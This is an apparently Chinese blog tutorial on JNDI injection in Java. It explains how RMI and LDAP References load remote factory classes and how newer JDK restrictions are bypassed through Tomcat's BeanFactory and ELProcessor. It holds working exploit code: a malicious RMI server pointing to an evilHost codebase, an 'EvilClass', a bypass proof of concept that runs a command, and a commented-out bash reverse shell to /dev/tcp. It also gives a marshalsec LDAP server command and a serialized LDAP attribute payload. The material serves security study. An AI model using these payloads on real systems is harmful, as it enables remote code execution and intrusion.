JNDI Attack

JNDI References 注入
为什么需要Reference:
- 为了在命名服务或目录服务中绑定
Java对象,可以使用Java序列化来传输对象,但有时候不太合适,比如Java对象较大的情况,此时就需要Reference了。
Reference作用:
JNDI定义了命名引用(Naming References),后面直接简称引用(References)。这样需要被绑定的java对象就可以通过绑定一个引用(Reference),间接地存储在命名或目录服务中。Reference包含足够的信息来查找或重新创建这个java对象。因此这个引用可以被命名管理器(Naming Manager)解码并解析为原始java对象。
Reference组成:
- 引用由
Reference类来表示,它由地址(RefAddress)的有序列表和所引用对象的信息组成。每个地址包含了如何构造出对应的java对象的信息,包括引用对象的**Java类名**,以及用于创建java对象的ObjectFactory类的名称和位置。
Reference工作机制:
- 当使用
lookup()方法查找对象时,Reference将使用提供的ObjectFactory类的加载地址来加载ObjectFactory类,ObjectFactory类将构造出需要的对象。
JNDI注入是什么:
- 所谓的
JNDI注入就是控制lookup函数的参数,这样来使客户端访问恶意的RMI或者LDAP服务来加载恶意的对象,从而执行代码,完成利用。
如何进行JNDI注入:
- 在
JNDI服务中,利用Reference类,通过绑定一个外部远程对象让客户端请求,从而使客户端恶意代码执行。Reference类表示对存在于命名/目录系统以外的对象的引用。具体则是指如果远程获取RMI服务器上的对象为Reference类或者其子类时,则可以从其他服务器上加载class字节码文件来实例化(也就是远程方法调用的对象是另一个服务器上的恶意对象的引用)。
Reference类常用属性:
className 远程加载时所使用的类名
factory 用于创建被引用对象实例的工厂类名
factoryLocation 工厂类的地址 可以是 file/ftp/http 等协议
例:
// 服务端
Reference reference = new Reference("Exploit","Exploit","http://evilHost/" );
registry.bind("Exploit", new ReferenceWrapper(reference));
// 客户端
Context ctx = new InitialContext();
ctx.lookup("rmi://evilHost/Exploit");
客户端通过 lookup 函数请求上面 bind 设置的 Exploit,在本地 CLASSPATH 查找 Exploit 类,如果没有则根据设定的 Reference 对象,到URL: http://evilHost/Exploit.class 获取构造被引用对象实例,构造方法中的恶意代码就会被执行
JNDI-RMI
JNDI在使用RMI时,服务端可以构造恶意Reference,让客户端进行请求,请求时客户端就会被攻击。
低版本
低版本JDK(JDK<6u132,7u122,8u113):
-
服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class ServerExp { public static void main(String args[]) { try { Registry registry = LocateRegistry.createRegistry(1099); String factoryUrl = "http://localhost:1098/"; // url端口后面一定要有斜线 / Reference reference = new Reference("EvilClass","EvilClass", factoryUrl); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("Foo", wrapper); System.err.println("Server ready, factoryUrl:" + factoryUrl); } catch (Exception e) { System.err.println("Server exception: " + e.toString()); e.printStackTrace(); } } } -
客户端
import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.directory.*; import java.util.Hashtable; public class JNDILookup { public static void main(String[] args) { try { Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/Foo"); System.out.println("ret: " + ret); } catch (NamingException e) { e.printStackTrace(); } } } -
恶意类
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class EvilClass implements ObjectFactory { static void log(String key) { try { System.out.println("EvilClass: " + key); } catch (Exception e) { // do nothing } } { EvilClass.log("IIB block"); } static { EvilClass.log("static block"); } public EvilClass() { EvilClass.log("constructor"); } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { EvilClass.log("getObjectInstance"); return null; } } -
输出:
// static在类加载的时候执行 // 代码块和无参构造方法在clas.newInstance()时执行 // 因此恶意代码不仅可以写在静态代码块,写在构造器也可以 EvilClass:static block EvilClass:IIB block EvilClass:constructor EvilClass:getObjectInstance ret: null
高版本
高版本(JDK>=6u132,7u122,8u113):JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,禁止RMI和CORBA协议使用远程codebase,也就无法加载远程 RMI 代码。运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true 。
如果客户端请求查找的对象是远程引用Reference,就需要先解引用(RegistryContext#decodeObject)然后再调用NamingManager.getObjectInstance,其中会实例化对应的 ObjectFactory 类并调用其 getObjectInstance 方法来创建引用对象。
在RegistryContext#decodeObject中,会对 trustURLCodebase进行判断,默认为false,在 ref != null && ref.getFactoryClassLocation() != null的情况下,就会抛出异常:

为了跳出if语句,需要三个判断条件中至少有一个不满足:
- 令
ref为空,从语义上看需要obj不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程RMI没有操作的空间。 - 令
ref.getFactoryClassLocation()返回空。即,让ref对象factoryLocation为空,这个属性表示引用所指向对象的对应factory类的地址,对于远程代码加载而言是codebase,即远程代码的URL地址(可以是多个地址,以空格分隔),如果对应的factory是本地类,则该值为空,这是绕过高版本JDK限制的关键。 trustURLCodebase为true,需要在命令行指定com.sun.jndi.rmi.object.trustURLCodebase参数。
可以进一步工作的只有方法二,要满足方法二情况,需要在远程 RMI 服务器返回的 Reference 对象中不指定 Factory 的 codebase;在处理 Reference 对象时,会先调用 ref.getFactoryClassName() 获取对应工厂类的名称,也就是会先从本地的CLASSPATH中寻找该类。如果不为空则直接实例化工厂类,并通过工厂类去实例化一个对象并返回。因此需要在攻击者本地CLASSPATH找到一个Factory类,交由这个工厂类去实例化实际的目标类(即引用所指向的类),从而间接实现一定的代码控制。
Tomcat 依赖包中的 org.apache.naming.factory.BeanFactory(已经在用外部资源包了),在很多应用中都被包含,关键代码:
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
// 1. 反射获取类对象
if (tcl != null) {
beanClass = tcl.loadClass(beanClassName);
} else {
beanClass = Class.forName(beanClassName);
}
// 2. 初始化类实例
Object bean = beanClass.getConstructor().newInstance();
// 3. 根据 Reference 的属性查找 setter 方法的别名
RefAddr ra = ref.get("forceString"); // a=foo
String value = (String)ra.getContent();
// 4. 循环解析别名并保存到字典中
for (String param: value.split(",")) {
param = param.trim();
index = param.indexOf('='); // 1
if (index >= 0) {
setterName = param.substring(index + 1).trim(); // foo
param = param.substring(0, index).trim(); // a
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
forced.put(param, beanClass.getMethod(setterName, paramTypes));
}
// 5. 解析所有属性,并根据别名去调用 setter 方法
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
String value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
method.invoke(bean, valueArray);
}
// ...
}
}
在返回给客户端的 Reference 对象的 forceString 字段中指定 了setter 方法的别名。例如forceString为a=foo,则会有foo方法,参数为a,参数值为对应属性对象 RefAddr 的值 (getContent)。
在BeanFactory#getObjectInstance中使用 beanClass.getConstructor().newInstance();来实例化对象,只能调用目标class的无参构造函数来实例化对象,使用的是javax.el.ELProcessor#eval( 可以执行EL表达式)和groovy.lang.GroovyShell#evaluate作为目标class。
poc:
public class bypass {
public static void main(String args[]) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval")); // 相当于设置了一个eval函数,参数为x
// ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['bash','-c','bash -i >& /dev/tcp/ip/port 0>&1']).start()\")"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"open -a Calculator.app\")")); // x处注入恶意代码
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
System.err.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
org.apache.naming.ResourceRef 在 tomcat 中表示某个资源的引用。
因为要使用 javax.el.ELProcessor,所以需要 Tomcat 8+或SpringBoot 1.2.x+。
工具:
- https://github.com/mbechler/marshalsec
- https://github.com/welk1n/JNDI-Injection-Bypass,放在服务器上启动一个恶意
RMI Server
JNDI-LDAP
LDAP目录服务也是基于客户端-服务器模型,客户端也可以使用lookup方法向服务端发起查询,服务端向客户端发送数据,客户端进行反序列化。
低版本
低版本JDK:
LDAP服务端也能返回JNDI Reference对象,利用过程与JNDI + RMI Reference基本一致。不同的是,LDAP服务中lookup方法中指定的远程地址使用的是LDAP协议,由攻击者控制LDAP服务端返回一个恶意JNDI Reference对象,并且LDAP服务的Reference远程加载Factory类并不是使用RMI Class Loader机制,因此不受trustURLCodebase限制。
LDAP服务启动:使用marshalsec开启LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#calc
将LDAP查询请求重定向到http://127.0.0.1:8000/#calc,calc为恶意代码编译得到的class文件
客户端:
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception {\
// aaa是随便写的用于DN查找的字符
String url = "ldap://127.0.0.1:8099/aaa";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
查询过程:
javax.naming.InitialContext#lookup→com.sun.indi.url.Idap.IdapURLContext#lookup→com.sun.jndi.toolkit.url.GenericURLContext#lookup→com.sun.jndi.toolkit.ctx.PartialCompositeContext#lookup→com.sun.jndi.toolkit.ctx.ComponentContext#p_lookup→com.sun.jndi.ldap.LdapCtx#c_lookup→com.sun.jndi.ldap.Obj#decodeObject
LADP服务利用流程分析,LADP服务前面的调用流程和jndi是基本一样,从Obj类的decodeObject方法这里就有些不太一样了,decodeObject方法主要功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象。对象为Reference对象时,内部调用了decodeReference方法,decodeReference方法根据Ldap传入的addAttribute属性构造并返回了一个新的reference对象引用。
接着会返回到decodeObject方法调用处,然后再返回到LdapCtx类的c_lookup方法调用处,接着往下执行调用getObjectInstance方法。c_lookup方法将reference对象传给了getObjectInstance方法的refInfo参数,getObjectInstance方法将reference对象转换为Reference类型并判断reference对象是否为空,如果不为空则从reference引用中获取工厂类名字,接着调用getObjectFactoryFromReference方法根据工厂类名字获取远程调用对象。
LDAP服务跟JNDI一样,会尝试先在本地查找加载类,如果本地没有找到类,那么getFactoryClassLocation方法会获取远程加载的url地址,如果不为空则根据远程url地址使用类加载器URLClassLoader来加载Exp类。LDAP服务的整个利用流程都没有URLCodebase限制。
高版本
在jdk8u191以上的版本中修复了LDAP服务远程加载恶意类这个漏洞,LDAP服务在进行远程加载之前也添加了系统属性trustURLCodebase的限制,在loadClass方法内部添加了系统属性trustURLCodebase的判断,如果trustURLCodebase为false就直接返回null,只有当trustURLCodebase值为true时才允许远程加载。
可以利用JNDI-RMI绕过高版本的方法尝试绕过,也就是在本地查找可以利用的工厂类与目标类进行攻击。JNDI | Java (gitbook.io)
上面说到 com.sun.jndi.ldap.Obj#decodeObject主要功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象。
如果为序列化对象,会调用deserializeObject方法,里面进行了readObject操作,这里就是反序列化的触发点之一。
poc:
自定义payload:JNDI注入分析 (qq.com)
com.sun.jndi.ldap.Obj.java#decodeReference函数在对普通的Reference还原的基础上,还可以进一步对RefAddress做还原处理,其中还原过程中,也调用了deserializeObject函数,这意味着我们通过满足RefAddress的方式,也可以达到上面第一种的效果。
需满足以下条件:1.第一个字符为分隔符 2.第一个分隔符与第二个分隔符之间,表示Reference的position,为int类型 3.第二个分隔符与第三个分隔符之间,表示type,类型 4.第三个分隔符是双分隔符的形式,则进入反序列化的操作 5.序列化数据用base64编码 payload如下:
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(serializeObject(getPayload())));
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
参考:
664

被折叠的 条评论
为什么被折叠?



